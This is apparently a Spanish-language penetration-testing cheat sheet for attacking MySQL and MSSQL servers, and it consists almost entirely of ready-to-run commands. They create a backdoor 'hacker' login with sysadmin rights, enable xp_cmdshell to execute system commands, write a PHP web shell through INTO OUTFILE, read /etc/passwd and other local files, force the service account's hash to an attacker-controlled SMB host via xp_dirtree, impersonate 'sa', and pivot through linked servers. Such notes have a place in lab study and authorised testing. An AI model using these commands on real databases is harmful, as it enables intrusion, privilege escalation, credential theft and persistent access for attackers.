MySQL & MSSQL (3306 & 1433)

Errores de Configuración Comunes

  • Acceso anónimo habilitado.
  • Usuarios sin contraseña configurados.
  • Cualquier usuario, grupo o máquina permitida para acceder al servidor SQL.
Dependiendo de los privilegios de un usuario, podemos realizar diversas acciones: leer/cambiar la base de datos, ejecutar comandos, leer archivos locales, comunicarnos con otras bases de datos, capturar el hash del sistema local, suplantar usuarios y acceder a otras redes.

Conexión

terminal
# MySQLmysql -u julio -pPassword123 -h 10.129.20.13# MSSQLsqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30mssqlclient.py -p 1433 julio@10.129.203.7

Leer de la Base de Datos (MSSQL)

sql
select @@version;
select user_name();
SELECT name FROM master.dbo.sysdatabases;
USE master
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
EXEC sp_linkedservers
SELECT * FROM sys.servers;
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

Ejecutar Comandos con xp_cmdshell (MSSQL)

sql
EXECUTE xp_cmdshell 'whoami';
Habilitar xp_cmdshell
sql
EXECUTE sp_configure 'show advanced options', 1
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE

Escribir Archivos Locales (MySQL)

MySQL no tiene un procedimiento como xp_cmdshell pero podemos escribir un archivo PHP en el servidor web si tenemos los privs (puerto 80 abierto)
sql
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Si MySQL está configurado con la variable secure_file_priv vacía, podemos leer y escribir archivos sin restricciones.
sql
show variables like "secure_file_priv";

Leer Archivos Locales

sql
-- MSSQL
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
-- MySQL
SELECT LOAD_FILE("/etc/passwd");

Capturar Hash MSSQL

Usando xp_dirtree o xp_subdirs, podemos robar el hash de la cuenta de servicio MSSQL haciendo que el servidor SQL acceda a un servidor SMB controlado por el atacante (Responder)
sql
EXEC master..xp_dirtree '\\10.10.110.17\share\';
EXEC master..xp_subdirs '\\10.10.110.17\share\';

Suplantar usuarios (MSSQL)

Permiso especial IMPERSONATE. Identificar usuarios que podemos suplantar:
sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
Suplantar al usuario "sa":
sql
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;

Comunicación con Otras BBDD

Si hay un servidor vinculado en MSSQL, podemos ejecutar consultas en bases de datos remotas:
sql
SELECT srvname, isremote FROM sysservers
EXEC sp_linkedservers
EXECUTE('SELECT @@servername, @@version') AT [LOCAL.TEST.LINKED.SRV];